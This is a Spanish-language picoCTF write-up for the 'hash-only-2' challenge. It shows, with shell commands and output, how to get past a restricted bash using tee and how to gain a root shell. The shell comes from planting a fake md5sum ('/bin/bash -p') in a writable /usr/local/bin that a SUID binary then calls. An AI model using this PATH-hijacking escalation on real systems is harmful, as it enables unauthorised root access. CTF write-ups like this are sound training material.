hash-only-2

pico
pwn

August 9, 20251 minute

Este reto es parecido al de hash-only-1, hay un binario con permisos SUID que ejecuta md5sum sin poner el path completo, pero en este estamos en una restricted bash y no se puede redirigir el output a un archivo y tampoco se puede modificar $PATH

ctf-player@pico-chall$ export PATH=
-rbash: PATH: readonly variable
ctf-player@pico-chall$ echo "test" > a
-rbash: a: restricted: cannot redirect output
ctf-player@pico-chall$

El tema de redirigir el output se puede solucionar con tee:

ctf-player@pico-chall$ echo "test" | tee a
test
ctf-player@pico-chall$ cat a
test
ctf-player@pico-chall$

Después de un rato probando rutas descubri que tenía permisos para crear archivos en /usr/local/bin

ctf-player@pico-chall$ echo "test" | tee /usr/local/bin/test
test
ctf-player@pico-chall$ cat !$
cat /usr/local/bin/test
test

Esa ruta tiene más prioridad /usr/bin que es donde está md5sum

ctf-player@pico-chall$ which md5sum
/usr/bin/md5sum
ctf-player@pico-chall$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

Así que sí se crea un archivo md5sum en /usr/local/bin, tendrá más prioridad que el original de /usr/bin

ctf-player@pico-chall$ echo "/bin/bash -p" | tee /usr/local/bin/md5sum
/bin/bash -p
ctf-player@pico-chall$ chmod +x !$
chmod +x /usr/local/bin/md5sum
ctf-player@pico-chall$ flaghasher
Computing the MD5 hash of /root/flag.txt....

root@challenge:~# cat /root/flag.txt
picoCTF{Co-@************n@riEs_dab7e075}